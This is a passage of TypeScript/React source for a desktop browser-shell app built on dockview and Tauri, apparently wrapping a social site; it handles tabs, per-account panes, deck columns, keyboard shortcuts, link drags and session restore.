/** A link chosen on a new-tab page opens in that page's place; the page itself goes away. */
function openFromStart(url: string, profile: string, startId?: string) {
const start = startId ? shell.api?.getPanel(startId) : undefined;
if (!start) { addWeb(url, undefined, true, profile); return; }
const group = start.group;
addWeb(url, { referenceGroup: group.id, direction: 'within', index: group.panels.indexOf(start) }, true, profile);
start.api.close();
}
/**
* Account switcher click: a visible pane of that account gets focus; otherwise its home feed (or the
* site's sign-in) opens in a new pane right of the focused one. `force` opens a tab in the focused
* group instead; `url` opens that page of the account (e.g. the site's sign-out) beside.
*/
function openAccount(profile: string, options: { force?: boolean; url?: string } = {}) {
const api = shell.api;
if (!api) return;
const active = api.activePanel;
const { homeUrl, loginUrl, isSiteUrl } = site();
const action = options.url
? { type: 'open' as const, url: options.url, profile: tabProfile(shell.profiles, profile).id, where: 'beside' as const }
: accountAction(shell.profiles, paneInfos(), active?.id, profile, { force: options.force, homeUrl, loginUrl, isSiteUrl });
if (action.type === 'focus') {
const panel = api.getPanel(action.paneId);
panel?.api.setActive();
if (panel) tabAction(panel.id, 'focus');
return;
}
const placement = active ? { referencePanel: active.id, direction: action.where === 'tab' ? 'within' as const : 'right' as const } : undefined;
addWeb(action.url, placement, true, action.profile);
}
// ---------------------------------------------------------------------------------------------
// Decks of site columns (DeckView.tsx; only with `site.deck`)
const deckPanelId = (deckId: string) => `deck-${deckId}`;
/** The last focused tab that is not a deck, for Ctrl+Shift+D back and forth. */
let lastNonDeck: string | null = null;
/** Opens (or focuses) a deck tab; with no deck yet, creates one. */
function openDeck(deckId?: string) {
const api = shell.api;
if (!api || !site().deck) return;
const deck = (deckId && deckById(deckId)) || decks.list[0] || createDeck(t('wb.shell.deck.default'));
const existing = api.getPanel(deckPanelId(deck.id));
if (existing) { existing.api.setActive(); return; }
api.addPanel<DeckParams>({
id: deckPanelId(deck.id), component: 'deck', title: deck.name, params: { kind: 'deck', deckId: deck.id },
position: api.activeGroup ? { referenceGroup: api.activeGroup, direction: 'within' } : undefined,
});
}
/** Ctrl+Shift+D: to the deck, and from the deck back to the tab you came from. */
function toggleDeck() {
const api = shell.api;
const active = api?.activePanel;
if (active && (active.params as TabParams).kind === 'deck') {
const back = lastNonDeck ? api?.getPanel(lastNonDeck) : undefined;
back?.api.setActive();
if (back && isWeb(back)) tabAction(back.id, 'focus');
return;
}
openDeck();
}
/** The deck a shortcut is about: the column's deck (keys pressed in a column), else the active deck tab. */
function deckFor(id?: string): string | null {
if (id !== undefined) {
const found = findColumnTab(id);
if (found) return found.deck.id;
const params = shell.api?.getPanel(id)?.params as TabParams | undefined;
return params?.kind === 'deck' ? params.deckId : null;
}
const params = shell.api?.activePanel?.params as TabParams | undefined;
return params?.kind === 'deck' ? params.deckId : null;
}
function openPanel(section?: string, from?: string) {
const api = shell.api;
if (!api) return;
const existing = api.getPanel(panelId());
const nonce = Date.now();
if (existing) {
if (section) existing.api.updateParameters({ section, nonce });
existing.api.setActive();
return;
}
// Open beside the site so both stay visible; a second group means split view.
const reference = from && api.getPanel(from) ? { referencePanel: from, direction: 'right' as const } : undefined;
api.addPanel<PanelParams>({ id: panelId(), component: 'panel', title: site().panel.title, params: { kind: 'panel', section, nonce }, position: reference });
}
function closeTab(panel: IDockviewPanel) {
if ((panel.params as TabParams).pinned) return;
if (isWeb(panel)) { const { url, profile } = panel.params as WebParams; shell.closed.push({ url, profile, title: panel.api.title || undefined }); }
panel.api.close();
}
export function splitTab(panel: IDockviewPanel, direction: 'right' | 'below') {
// A lone tab cannot be moved out of its group, so split opens a copy of it instead.
if (panel.group.panels.length > 1) {
panel.api.moveTo({ group: panel.group, position: direction === 'right' ? 'right' : 'bottom' });
} else if (isWeb(panel)) {
const { url, profile } = panel.params as WebParams;
addWeb(url, { referencePanel: panel.id, direction }, true, profile);
}
}
function cycleTabs(step: number) {
const group = shell.api?.activeGroup;
if (!group || group.panels.length < 2) return;
const index = group.panels.findIndex(panel => panel.id === group.activePanel?.id);
group.panels[(index + step + group.panels.length) % group.panels.length]?.api.setActive();
}
function focusAddress(id: string) {
invoke('shell_focus').catch(() => {});
requestAnimationFrame(() => window.dispatchEvent(new CustomEvent('bt-focus-address', { detail: id })));
}
let togglePalette: () => void = () => {};
let toggleMedia: () => void = () => {};
function paletteContext(): PaletteContext {
const panels = shell.api?.panels.filter(isWeb) ?? [];
const deck = site().deck;
return {
tabs: panels.map(panel => ({ id: panel.id, title: panel.api.title ?? '', url: (panel.params as WebParams).url, favicon: (panel.params as WebParams).favicon })),
profiles: shell.profiles.profiles.map(({ id, name, color }) => ({ id, name, color })),
activeProfile: shell.profiles.active,
decks: deck ? decks.list.map(item => ({
id: item.id, name: item.name,
columns: item.columns.map(column => ({ id: column.id, title: deck.title(column.source, column.title).title, profile: column.profile })),
})) : undefined,
activeDeck: (() => { const params = shell.api?.activePanel?.params as TabParams | undefined; return params?.kind === 'deck' ? params.deckId : undefined; })(),
workspaces: hasFeature('workspaces') ? workspaceList() : undefined,
activeWorkspace: workspaces.active ?? undefined,
// Plugin commands of the focused site tab (they run there).
commands: focusedCommands(),
};
}
/** Palette actions only navigate; account changes are completed by the user on the site's own pages. */
function runPalette(action: PaletteAction) {
const api = shell.api;
if (!api) return;
switch (action.type) {
case 'focus-tab': api.getPanel(action.id)?.api.setActive(); break;
case 'new-tab': shell.newTab(action.profile); break;
case 'panel': openPanel(action.section, api.activePanel?.id); break;
case 'open': addWeb(action.url); break;
case 'media': toggleMedia(); break;
case 'deck': openDeck(action.deckId); break;
case 'deck-new': openDeck(createDeck(`Deck ${decks.list.length + 1}`).id); break;
case 'deck-add': openDeck(action.deckId); requestAnimationFrame(() => window.dispatchEvent(new CustomEvent('bt-deck-add', { detail: action.deckId }))); break;
case 'deck-focus': openDeck(action.deckId); requestAnimationFrame(() => focusColumn(action.deckId, action.columnId)); break;
case 'plugin-command': runPluginCommand(action.tab, action.command); break;
case 'workspace': void restoreWorkspace(action.id); break;
case 'workspace-save': openWorkspaceSave(); break;
}
}
function runShortcut(shortcut: string, id?: string) {
const api = shell.api;
if (!api) return;
if (shortcut === 'command-palette') { togglePalette(); return; }
if (shortcut === 'deck-toggle') { toggleDeck(); return; }
if (shortcut.startsWith('column-') || shortcut === 'deck-compose') {
const deckId = deckFor(id);
if (deckId) runDeckCommand(deckId, shortcut);
return;
}
// A browser shortcut pressed inside a deck column acts on its deck tab.
if (id && !api.getPanel(id) && findColumnTab(id)) id = deckPanelId(findColumnTab(id)!.deck.id);
const panel = id === undefined ? api.activePanel : api.getPanel(id);
switch (shortcut) {
case 'new-tab': addStart(); break;
case 'close-tab': if (panel) closeTab(panel); break;
case 'reopen-tab': { const tab = shell.closed.pop(); if (tab) addWeb(tab.url, undefined, true, tab.profile); break; }
case 'focus-address': if (panel && (isWeb(panel) || (panel.params as TabParams).kind === 'start')) focusAddress(panel.id); break;
case 'next-tab': cycleTabs(1); break;
case 'prev-tab': cycleTabs(-1); break;
case 'reload': case 'hard-reload': if (panel && isWeb(panel)) tabAction(panel.id, 'reload'); break;
case 'back': if (panel && isWeb(panel)) tabAction(panel.id, 'back'); break;
case 'forward': if (panel && isWeb(panel)) tabAction(panel.id, 'forward'); break;
case 'split-right': if (panel) splitTab(panel, 'right'); break;
case 'split-down': if (panel) splitTab(panel, 'below'); break;
case 'open-panel': if (id === undefined || panel) openPanel(undefined, panel?.id); break;
case 'media-panel': toggleMedia(); break;
}
}
const editable = (target: EventTarget | null) => {
const el = target as HTMLElement | null;
return !!el && (el.isContentEditable || /^(input|textarea|select)$/i.test(el.tagName));
};
/** Deck keys pressed in the shell itself (a column header, the deck bar) while a deck tab is active. */
function deckShortcutFor(event: KeyboardEvent): string | null {
const mod = event.ctrlKey || event.metaKey;
if (mod && event.shiftKey && !event.altKey && event.code === 'KeyD') return 'deck-toggle';
if ((shell.api?.activePanel?.params as TabParams | undefined)?.kind !== 'deck' || editable(event.target)) return null;
if (event.ctrlKey && event.altKey && !event.shiftKey && event.code === 'KeyN') return 'deck-compose';
if (event.altKey && !mod && !event.shiftKey) {
const digit = /^Digit([1-9])$/.exec(event.code);
if (digit) return `column-${digit[1]}`;
if (event.key === 'PageUp') return 'column-page-prev';
if (event.key === 'PageDown') return 'column-page-next';
if (event.code === 'KeyR') return 'column-mark-read';
if (event.code === 'KeyU') return 'column-jump-unread';
}
if (!mod && !event.altKey && event.key === '[') return 'column-prev';
if (!mod && !event.altKey && event.key === ']') return 'column-next';
return null;
}
function shortcutFor(event: KeyboardEvent): string | null {
const deck = site().deck ? deckShortcutFor(event) : null;
if (deck) return deck;
const mod = event.ctrlKey || event.metaKey;
const key = event.key.toLowerCase();
if (mod && !event.altKey) {
if (key === 't') return event.shiftKey ? 'reopen-tab' : 'new-tab';
if (key === 'w') return event.shiftKey ? 'open-panel' : 'close-tab';
if (key === 'l') return 'focus-address';
if (key === 'g' && event.shiftKey) return 'media-panel';
if (key === 'k' && !event.shiftKey) return 'command-palette';
if (key === 'tab') return event.shiftKey ? 'prev-tab' : 'next-tab';
if (key === 'r') return 'reload';
if (event.code === 'Backslash' || event.code === 'IntlBackslash') return event.shiftKey ? 'split-down' : 'split-right';
}
if (event.altKey && !mod && key === 'arrowleft') return 'back';
if (event.altKey && !mod && key === 'arrowright') return 'forward';
return null;
}
// ---------------------------------------------------------------------------------------------
// Link drags: a link dragged out of a tab (or in from another app) drops as a new tab or split.
/**
* While active, the native tab webviews are hidden so the OS drag reaches the shell and dockview's
* drop zones. `internal`: a drag that started in the shell itself (tab moves, list reordering).
*/
const linkDrag = {
active: false, internal: false, url: null as string | null, from: undefined as string | undefined,
lastOver: 0, sawOver: false, blockedUntil: 0, timer: undefined as ReturnType<typeof setInterval> | undefined,
};
function beginLinkDrag(from?: string, url?: string) {
if (linkDrag.internal) return;
if (!linkDrag.active) {
// A tab that keeps announcing drags that never reach the shell cannot keep the panes hidden.
if (Date.now() < linkDrag.blockedUntil) return;
Object.assign(linkDrag, { active: true, sawOver: false, lastOver: Date.now(), url: null, from: undefined });
setOverlay(1);
document.querySelector('.bt-shell')?.classList.add('bt-shell--link-drag');
// Esc or a drop outside the window may end the drag without any event here.
linkDrag.timer = setInterval(() => { if (Date.now() - linkDrag.lastOver > 1500) endLinkDrag(true); }, 250);
}
if (url) { linkDrag.url = url; linkDrag.from = from; }
}
function endLinkDrag(timedOut = false) {
if (!linkDrag.active) return;
clearInterval(linkDrag.timer);
if (timedOut && !linkDrag.sawOver) linkDrag.blockedUntil = Date.now() + 5000;
Object.assign(linkDrag, { active: false, url: null, from: undefined, timer: undefined });
document.querySelector('.bt-shell')?.classList.remove('bt-shell--link-drag');
setOverlay(-1);
}
/** Opens the dropped link where it was dropped, in the source tab's account (else the active one). */
function dropLink(event: DragEvent, placement: DropPlacement | undefined) {
const url = dropUrl(type => event.dataTransfer?.getData(type) ?? '', linkDrag.url);
const source = linkDrag.from ? shell.api?.getPanel(linkDrag.from) : undefined;
const profile = source && isWeb(source) ? (source.params as WebParams).profile : shell.profiles.active;
endLinkDrag();
if (url) addWeb(url, placement, true, profile);
}
const dragTypes = (event: DragEvent) => Array.from(event.dataTransfer?.types ?? []);
// ---------------------------------------------------------------------------------------------
type Menu = { x: number; y: number; panel: IDockviewPanel };
let openMenu: (menu: Menu) => void = () => {};
function ContextMenu({ menu, onClose }: { menu: Menu; onClose: () => void }) {
const t = useT();
const { panel } = menu;
const params = panel.params as TabParams;
const web = params.kind === 'web' ? params : null;
const group = panel.group;
useEffect(() => {
setOverlay(1);
const close = () => onClose();
const onKey = (event: KeyboardEvent) => { if (event.key === 'Escape') onClose(); };
window.addEventListener('blur', close);
window.addEventListener('keydown', onKey);
return () => { setOverlay(-1); window.removeEventListener('blur', close); window.removeEventListener('keydown', onKey); };
}, []);
const item = (label: string, icon: IconName, action: () => void, disabled = false, keys?: string) =>
<button role="menuitem" disabled={disabled} onClick={() => { onClose(); action(); }}>
<Icon name={icon}/><span className="bt-menu-label">{label}</span>{keys && <span className="bt-menu-keys">{keys}</span>}
</button>;
const others = group.panels.filter(other => other.id !== panel.id && !(other.params as TabParams).pinned);
return createPortal(<div className="bt-menu-backdrop" onMouseDown={onClose} onContextMenu={event => { event.preventDefault(); onClose(); }}>
<div className="bt-menu bt-pop" role="menu" style={{ left: Math.max(8, Math.min(menu.x, window.innerWidth - 248)), top: Math.max(8, Math.min(menu.y, window.innerHeight - 360)) }} onMouseDown={event => event.stopPropagation()}>
{item(params.pinned ? t('wb.shell.menu.unpin') : t('wb.shell.menu.pin'), params.pinned ? 'unpin' : 'pin', () => {
panel.api.updateParameters({ pinned: !params.pinned });
if (!params.pinned) panel.api.moveTo({ group, index: 0 });
saveLayoutSoon();
})}
{web && item(t('wb.shell.menu.duplicate'), 'duplicate', () => addWeb(web.url, { referencePanel: panel.id, direction: 'within' }, true, web.profile))}
{web && item(t('wb.shell.menu.reload'), 'reload', () => tabAction(panel.id, 'reload'), false, 'Ctrl R')}
<hr/>
{item(t('wb.shell.menu.splitRight'), 'split', () => splitTab(panel, 'right'), !web && group.panels.length < 2, 'Ctrl \\')}
{item(t('wb.shell.menu.splitDown'), 'splitDown', () => splitTab(panel, 'below'), !web && group.panels.length < 2, 'Ctrl ⇧ \\')}
{web && <>
<hr/>
{site().themes && item(t('wb.shell.menu.paneTheme'), 'palette', () => openPaneTheme({ id: panel.id, profile: tabProfile(shell.profiles, web.profile).id, x: menu.x, y: menu.y }))}
{item(t('wb.shell.menu.copyLink'), 'copy', () => void navigator.clipboard?.writeText(web.url))}
{item(t('wb.shell.menu.openBrowser'), 'external', () => invoke('open_external_url', { url: web.url }).catch(() => {}))}
</>}
<hr/>
{item(t('wb.shell.menu.close'), 'close', () => closeTab(panel), !!params.pinned, 'Ctrl W')}
{item(t('wb.shell.menu.closeOthers'), 'closeOthers', () => others.forEach(closeTab), others.length === 0)}
</div>
</div>, document.body);
}
function Favicon({ params }: { params: TabParams }) {
const t = useT();
const [broken, setBroken] = useState(false);
useEffect(() => setBroken(false), [params.kind === 'web' ? params.favicon : '']);
if (params.kind === 'panel') return <img className="bt-favicon" src={site().logo} alt=""/>;
if (params.kind === 'start') return <Icon name="sparkle" className="bt-favicon bt-favicon--glyph"/>;
if (params.kind === 'deck') return <Icon name="grid" className="bt-favicon bt-favicon--glyph bt-favicon--deck"/>;
if (params.loading) return <span className="bt-favicon bt-spinner" role="img" aria-label={t('wb.common.loading')}/>;
if (params.favicon && !broken) return <img key={params.favicon} className="bt-favicon bt-favicon--img" src={params.favicon} alt="" onError={() => setBroken(true)}/>;
return <Icon name="globe" className="bt-favicon bt-favicon--glyph"/>;
}
function Tab(props: IDockviewPanelHeaderProps<TabParams>) {
const t = useT();
const profiles = useProfiles();
const [title, setTitle] = useState(props.api.title ?? '');
useEffect(() => { const sub = props.api.onDidTitleChange(event => setTitle(event.title)); return () => sub.dispose(); }, [props.api]);
const params = props.params;
const panel = shell.api?.getPanel(props.api.id);
const onContextMenu = (event: ReactMouseEvent) => { event.preventDefault(); if (panel) openMenu({ x: event.clientX, y: event.clientY, panel }); };
const account = params.kind !== 'panel' && params.kind !== 'deck' && profiles.profiles.length > 1 ? tabProfile(profiles, params.profile) : null;
const accountName = account ? `${accountLabel(account).title}${account.account ? ` (${site().accounts.handlePrefix}${account.account.handle})` : ''}` : '';
const loading = params.kind === 'web' && !!params.loading;
// Titles saved by older sessions (or before the page reports one) said "New tab" in English.
const shown = params.kind === 'start' || !title || title === 'New tab' ? t('wb.shell.tab.new') : title;
return <div className={`bt-tab${params.pinned ? ' pinned bt-tab--pinned' : ''}${loading ? ' bt-tab--loading' : ''}`}
data-panel-id={props.api.id} title={account ? `${shown} · ${accountName}` : shown} onContextMenu={onContextMenu}
onAuxClick={event => { if (event.button === 1 && panel) { event.preventDefault(); closeTab(panel); } }}>
<span className="bt-tab-icon">
<Favicon params={params}/>
{account && <span className="bt-tab-account" style={{ background: account.color }} aria-label={t('wb.shell.tab.account', { name: accountName })}/>}
</span>
{!params.pinned && <span className="bt-tab-title">{shown}</span>}
{params.kind === 'deck' && <DeckTabBadge deckId={params.deckId}/>}
{!params.pinned && <button className="bt-tab-close" title={t('wb.shell.tab.closeTitle')} aria-label={t('wb.shell.menu.close')} onPointerDown={event => event.stopPropagation()} onClick={event => { event.stopPropagation(); if (panel) closeTab(panel); }}>
<Icon name="close"/></button>}
</div>;
}
function GroupActions(props: IDockviewHeaderActionsProps) {
const t = useT();
return <div className="bt-group-actions">
<button className="bt-icon bt-newtab" title={t('wb.shell.tab.newTitle')} aria-label={t('wb.shell.tab.new')} onClick={() => addStart(undefined, { referencePanel: props.group.activePanel?.id ?? '', direction: 'within' })}>
<Icon name="plus"/></button>
</div>;
}
function AppPanel(props: IDockviewPanelProps<PanelParams>) {
const section = props.params.section ? { name: props.params.section, nonce: props.params.nonce ?? 0 } : undefined;
const Panel = site().panel.component;
return <div className="bt-panel"><Panel section={section}/></div>;
}
function StartPanel(props: IDockviewPanelProps<StartParams>) {
return <NewTabPage panelId={props.api.id} profile={props.params.profile}
onProfile={profile => { props.api.updateParameters({ profile }); saveLayoutSoon(); }}/>;
}
/** Every tab closed: the dock shows the new-tab page itself. */
function Watermark() {
return <NewTabPage/>;
}
const components = { web: WebPanel, panel: AppPanel, start: StartPanel, deck: DeckView };
/**
* Groups whose top edge touches the dock top host their tabs in the titlebar row: their header is
* TITLEBAR_H tall and transparent, the empty part drags the window. The leftmost one leaves room
* for the logo, the rightmost one for the caption buttons.
*/
function markTitlebarGroups() {
const api = shell.api;
const dock = document.querySelector('.bt-dock');
if (!api || !dock) return;
const bounds = dock.getBoundingClientRect();
document.querySelector('.bt-shell')?.classList.toggle('bt-shell--empty', api.groups.length === 0);
for (const group of api.groups) {
const el = group.element;
const rect = el.getBoundingClientRect();
const top = group.api.location.type === 'grid' && Math.abs(rect.top - bounds.top) < 1;
el.classList.toggle('bt-group--in-titlebar', top);
el.classList.toggle('bt-group--tb-left', top && Math.abs(rect.left - bounds.left) < 1);
el.classList.toggle('bt-group--tb-right', top && Math.abs(rect.right - bounds.right) < 1);
const voidContainer = el.querySelector('.dv-void-container');
if (voidContainer) {
if (top) voidContainer.setAttribute('data-tauri-drag-region', '');
else voidContainer.removeAttribute('data-tauri-drag-region');
}
}
}
export default function Shell() {
const contentReadyTabs = useRef(new Set<string>());
const [menu, setMenu] = useState<Menu | null>(null);
const [maximized, setMaximized] = useState(false);
const [palette, setPalette] = useState<PaletteContext | null>(null);
const [media, setMedia] = useState(false);
const { overlays = [] } = site();
openMenu = setMenu;
togglePalette = () => { invoke('shell_focus').catch(() => {}); void refreshPluginNames(); setPalette(open => open ? null : paletteContext()); };
toggleMedia = () => { if (isTauri && site().media) setMedia(open => !open); };
shell.split = (id, direction) => { const panel = shell.api?.getPanel(id); if (panel) splitTab(panel, direction); };
shell.openPanel = from => openPanel(undefined, from);
shell.newTab = profile => { addStart(profile); };
shell.openFromStart = openFromStart;
shell.openAccount = openAccount;
shell.openUrl = (url, profile) => { addWeb(url, undefined, true, profile); };
shell.openPanelSection = section => openPanel(section, shell.api?.activePanel?.id);
useEffect(() => {
document.documentElement.dataset.os = os;
if (!isTauri) return;
const unlisten = onMaximizedChange(value => setMaximized(value));
return () => { unlisten.then(dispose => dispose()).catch(() => {}); };
}, []);
// Maximize/restore changes the resize-band inset: re-send the tab rectangles once laid out.
useEffect(() => { requestAnimationFrame(() => { markTitlebarGroups(); scheduleSync(); }); }, [maximized]);
// Plugin palette commands, developer mode (live reload) and encrypted folder sync.
useEffect(() => {
if (!isTauri) return;
const off = [
hasFeature('pluginCommands') ? installPluginCommands() : null,
hasFeature('developer') ? installDevHost() : null,
hasFeature('sync') ? installSyncHost() : null,
].filter((dispose): dispose is () => void => !!dispose);
return () => off.forEach(dispose => dispose());
}, []);
// The site's own settings and events (e.g. X's Twitter/X wording).
useEffect(() => site().start?.(), []);
useEffect(() => {
const unlisten = [
// A tab saw its account sign in or out (native code already saved it): refresh the switcher.
listen<unknown>('profiles-changed', ({ payload }) => setProfiles(payload)),
listen<{ id: string; url?: string; title?: string; loading?: boolean; favicon?: string; focused?: boolean; unread?: number; contentReady?: boolean }>('tab-state', ({ payload }) => {
const panel = shell.api?.getPanel(payload.id);
const previousUrl = panel ? (panel.params as WebParams).url : decks.runtime.get(payload.id)?.url;
if (payload.loading || (payload.url && previousUrl && payload.url !== previousUrl)) contentReadyTabs.current.delete(payload.id);
if (payload.contentReady) contentReadyTabs.current.add(payload.id);
const notifyStartup = () => window.dispatchEvent(new Event('bt-tab-startup-state'));
if (!panel) {
// A deck column (or a deck's compose dock) reports about its own webview.
const found = findColumnTab(payload.id);
if (!found) { notifyStartup(); return; }
setRuntime(payload.id, { url: payload.url, title: payload.title, loading: payload.loading, unread: payload.unread });
if (found.compose) site().deck?.compose?.navigated?.(payload.id, payload.url, payload.loading);
if (payload.focused && found.column && decks.focus.get(found.deck.id) !== found.column.id) {
decks.focus.set(found.deck.id, found.column.id);
window.dispatchEvent(new CustomEvent('bt-decks'));
}
notifyStartup();
return;
}
// Another site must not keep the previous one's icon until (or unless) it reports its own.
const favicon = payload.favicon ?? (payload.url && originOf(payload.url) !== originOf((panel.params as WebParams).url) ? '' : undefined);
patchParams(panel, { url: payload.url, loading: payload.loading, favicon, title: payload.title });
if (payload.title !== undefined) panel.api.setTitle(payload.title || (panel.params as WebParams).url);
// A click into a visible pane makes it the active tab. A tab that is no longer shown (a link it
// opened just took its place in the group) reports a late focus too: it must not jump back.
if (payload.focused && !panel.api.isActive && panel.api.isVisible) panel.api.setActive();
saveLayoutSoon();
notifyStartup();
}),
listen<{ url: string; from?: string; background: boolean; beside?: boolean }>('tab-open', ({ payload }) => {
// Links opened from a tab stay in that tab's account; they never jump to another login.
const source = payload.from ? shell.api?.getPanel(payload.from) : undefined;
const column = payload.from && !source ? findColumnTab(payload.from) : null;
const profile = source && isWeb(source) ? (source.params as WebParams).profile
: column ? (column.column?.profile ?? decks.compose.get(column.deck.id)?.profile ?? shell.profiles.active) : shell.profiles.active;
if (column) { addWeb(payload.url, undefined, !payload.background, profile); return; }
if (payload.beside && source) { openBeside(payload.url, source, !payload.background, profile); return; }
addWeb(payload.url, payload.from ? { referencePanel: payload.from, direction: 'within' } : undefined, !payload.background, profile);
}),
listen<{ id: string; shortcut: string }>('tab-shortcut', ({ payload }) => runShortcut(payload.shortcut, payload.id)),
listen<{ from: string; section?: string }>('open-panel', ({ payload }) => openPanel(payload.section, payload.from)),
// A tab's link drag: `start` carries the natively validated link, `enter` is an external drag.
listen<{ id: string; phase: 'start' | 'enter' | 'end'; url?: string }>('link-drag', ({ payload }) => {
if (payload.phase === 'end') endLinkDrag();
else if (shell.api?.getPanel(payload.id)) beginLinkDrag(payload.id, payload.url);
}),
];
const onKey = (event: KeyboardEvent) => {
const shortcut = shortcutFor(event);
if (shortcut) {
// Leave text editing shortcuts (e.g. Ctrl+L/T in inputs) alone except tab management.
event.preventDefault();
runShortcut(shortcut);
return;
}
if (!isTauri) return;
// Browser-engine keys that make no sense in the shell itself (the tab webviews handle their own).
const mod = event.ctrlKey || event.metaKey;
const key = event.key.toLowerCase();
if (event.key === 'F5') { event.preventDefault(); runShortcut('reload'); return; }
if (mod && !event.altKey && (key === 'p' || key === 'f')) { event.preventDefault(); return; }
if (mod && event.shiftKey && key === 'i' && !devBuild) event.preventDefault();
};
const onContextMenu = (event: MouseEvent) => {
const target = event.target as Element | null;
if (target?.closest?.('input, textarea')) return;
if (frameless && target?.closest?.('.bt-group--in-titlebar .dv-void-container')) { titlebarContextMenu(event); return; }
event.preventDefault();
};
const onMouseUp = (event: MouseEvent) => {
if (event.button !== 3 && event.button !== 4) return;
event.preventDefault();
runShortcut(event.button === 3 ? 'back' : 'forward');
};
// The app's settings ask for a deck tab.
const onDeckOpen = (event: Event) => openDeck((event as CustomEvent<string | undefined>).detail);
window.addEventListener('bt-deck-open', onDeckOpen);
if (isTauri) {
window.addEventListener('contextmenu', onContextMenu);
window.addEventListener('mouseup', onMouseUp);
}
const relayout = () => { markTitlebarGroups(); scheduleSync(); };
// Native webviews cover drop zones; hide them for the duration of a tab drag.
let dragging = false;
const dragStart = () => { linkDrag.internal = true; endLinkDrag(); if (!dragging) { dragging = true; setOverlay(1); } };
const dragEnd = () => { linkDrag.internal = false; if (dragging) { dragging = false; setOverlay(-1); } };
// A link dragged in from another app straight onto the shell chrome.
const dragEnter = (event: DragEvent) => { if (!linkDrag.internal && carriesLink(dragTypes(event))) beginLinkDrag(); };
const dragOver = (event: DragEvent) => {
if (!linkDrag.active) return;
linkDrag.lastOver = Date.now();
linkDrag.sawOver = true;
// Anywhere outside dockview's zones (e.g. the titlebar of an empty dock) still accepts: new tab.
event.preventDefault();
if (event.dataTransfer) event.dataTransfer.dropEffect = 'copy';
};
// Dockview stops propagation of drops it handled; this only sees drops outside its zones.
const drop = (event: DragEvent) => { if (linkDrag.active) { event.preventDefault(); dropLink(event, undefined); } };
window.addEventListener('keydown', onKey);
window.addEventListener('resize', relayout);
// `resize` fires before dockview has laid its groups out at the new size (its own
// ResizeObserver does that), so the titlebar marks read stale rects there: the group at the
// right edge lost `bt-group--tb-right` and its tabs ran under the titlebar buttons. The dock's
// size changes are marked again one frame later, once dockview's own observer has laid out
// (measured live: marking inside the same observer pass still read the old rects).
const dockElement = document.querySelector('.bt-dock');
let markFrame = 0;
const dockResize = typeof ResizeObserver === 'undefined' ? null : new ResizeObserver(() => {
cancelAnimationFrame(markFrame);
markFrame = requestAnimationFrame(markTitlebarGroups);
});
if (dockElement) dockResize?.observe(dockElement);
document.addEventListener('dragstart', dragStart, true);
document.addEventListener('dragend', dragEnd, true);
document.addEventListener('drop', dragEnd, true);
document.addEventListener('dragenter', dragEnter, true);
document.addEventListener('dragover', dragOver);
document.addEventListener('drop', drop);
return () => {
endLinkDrag();
unlisten.forEach(promise => promise.then(dispose => dispose(), () => {}));
window.removeEventListener('keydown', onKey);
window.removeEventListener('resize', relayout);
dockResize?.disconnect();
cancelAnimationFrame(markFrame);
window.removeEventListener('bt-deck-open', onDeckOpen);
window.removeEventListener('contextmenu', onContextMenu);
window.removeEventListener('mouseup', onMouseUp);
document.removeEventListener('dragstart', dragStart, true);
document.removeEventListener('dragend', dragEnd, true);
document.removeEventListener('drop', dragEnd, true);
document.removeEventListener('dragenter', dragEnter, true);
document.removeEventListener('dragover', dragOver);
document.removeEventListener('drop', drop);
};
}, []);
const onReady = async (event: DockviewReadyEvent) => {
const api: DockviewApi = event.api;
// Establish the cover before any restore-triggered sync creates a visible native tab.
// This also keeps the no-raise path from exposing X while a late still is captured.
let coverActive = isTauri && !!site().deferWindowShow;
let coverWatchdog: ReturnType<typeof setTimeout> | undefined;
const releaseStartupCover = () => {
if (!coverActive) return;
coverActive = false;
clearTimeout(coverWatchdog);
setOverlay(-1);
document.documentElement.classList.remove('bt-startup-cover');
};
if (coverActive) {
document.documentElement.classList.add('bt-startup-cover');
setOverlay(1);
// Guard shell initialization if settings or native startup never complete.
// Once shell_ready succeeds, semantic X readiness owns this cover.
coverWatchdog = setTimeout(releaseStartupCover, 10_000);
}
shell.api = api;
// Chrome colors and fonts follow the theme; panes with their own theme follow theirs.
site().themes?.attachDock(api);
let restoreTabs = true;
try {
const settings = await invoke<{ homeUrl: string; restoreTabs: boolean }>('settings_get');
shell.homeUrl = settings.homeUrl;
restoreTabs = settings.restoreTabs;
} catch { /* Defaults. */ }
// Profiles before the first tabs_sync, so restored tabs open in their own account right away.
try { setProfiles(await invoke('profiles_get')); } catch { /* Default profile only. */ }
loadDecks(shell.profiles.profiles.map(profile => profile.id), shell.profiles.active);
// A workspace chosen to open on start replaces the previous session's layout.
const startWorkspace = isTauri && hasFeature('workspaces') ? (await loadWorkspaces()).default : null;
const saved = startWorkspace ? null : loadLayout() as SerializedDockview | null;
if (startWorkspace) await restoreWorkspace(startWorkspace);
shell.restoring = true;
try {
if (saved) {
api.fromJSON(saved);
// Layouts saved before a rename still carry the old panel title.
api.getPanel(panelId())?.api.setTitle(site().panel.title);
for (const panel of [...api.panels]) {
const params = panel.params as TabParams;
if (params.kind === 'web') patchParams(panel, { loading: false });
// Without session restore only pinned tabs come back.
if (!restoreTabs && !params.pinned) panel.api.close();
}
}
} catch (error) {
console.warn('[shell] layout restore failed', error);
api.clear();
} finally {
shell.restoring = false;
}
// A restored deck tab counts: deck sessions come back to their deck, not a new Home tab.
if (!api.panels.some(panel => isWeb(panel) || (panel.params as TabParams | undefined)?.kind === 'deck')) addWeb(shell.homeUrl);
api.onDidLayoutChange(() => { markTitlebarGroups(); scheduleSync(); saveLayoutSoon(); });
api.onDidAddGroup(() => requestAnimationFrame(markTitlebarGroups));
api.onDidRemoveGroup(() => requestAnimationFrame(markTitlebarGroups));
// The titlebar switcher highlights the focused pane's account.
const paneChanged = () => window.dispatchEvent(new CustomEvent('bt-active-pane'));
api.onDidActivePanelChange(event => {
if (event && (event.params as TabParams | undefined)?.kind !== 'deck') lastNonDeck = event.id;
notePanelActive(event?.id);
scheduleSync();
paneChanged();
});
// A renamed deck renames its tab.
window.addEventListener('bt-decks', () => {
for (const panel of api.panels) {
const params = panel.params as TabParams;
if (params.kind !== 'deck') continue;
const name = deckById(params.deckId)?.name;
if (name && panel.api.title !== name) panel.api.setTitle(name);
}
});
api.onDidLayoutChange(paneChanged);
paneChanged();
api.onDidRemovePanel(scheduleSync);
api.onDidAddPanel(scheduleSync);
// Dockview's overflow list (the "N more tabs" button) is a shell popover: hide the tab webviews while it is open.
const popover = document.querySelector('.bt-dock .dv-popover-anchor');
if (popover) {
let shown = false;
new MutationObserver(() => {
const open = popover.childElementCount > 0;
